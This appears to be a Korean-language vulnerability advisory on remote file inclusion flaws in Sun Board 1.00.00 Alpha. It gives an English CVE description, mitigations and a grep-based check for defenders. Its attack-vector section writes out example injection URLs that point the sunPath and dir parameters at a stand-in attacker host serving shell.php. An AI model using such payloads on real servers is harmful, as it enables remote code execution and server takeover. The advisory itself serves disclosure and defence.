🇰🇷 한글 설명
Sun Board 1.00.00 Alpha의 PHP 원격 파일 포함 취약점으로, include.php의 sunPath 매개변수와 skin/board/default/doctype.php의 dir 매개변수가 사용자 입력을 충분히 검증하지 않아 공격자가 악성 URL을 주입하여 원격에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 사용자가 제공한 파일 경로를 검증 없이 로드하는 보안 결함으로, 공격자가 외부 악성 코드를 실행하도록 만들 수 있습니다. 이를 통해 서버 침탈, 데이터 유출, 시스템 전체 제어가 가능합니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Sun Board 1.00.00 Alpha allow remote attackers to execute arbitrary PHP code via a URL in (1) the sunPath parameter to include.php or (2) the dir parameter to skin/board/default/doctype.php.
📍 영향받는 시스템
Sun Board 1.00.00 Alpha 및 이전 버전
⚔️ 공격 벡터
HTTP GET/POST 요청으로 include.php?sunPath=http://attacker.com/shell.php 또는 doctype.php?dir=http://attacker.com/shell.php 형태로 악성 파일 URL 주입
🛡️ 대응 방법
Sun Board를 최신 버전으로 업데이트하거나, PHP allow_url_include 옵션 비활성화, 입력값 검증 및 화이트리스트 기반 경로 제한 구현
🔧 검증 코드
검색 결과가 있으면 해당 버전의 Sun Board가 설치되어 있으며 즉시 패치 적용이 필요합니다. 결과가 없으면 해당 애플리케이션이 설치되지 않은 상태입니다.
find /var/www -name 'include.php' -o -name 'doctype.php' 2>/dev/null | xargs grep -l 'sunPath\|\$_GET\[.dir' 2>/dev/null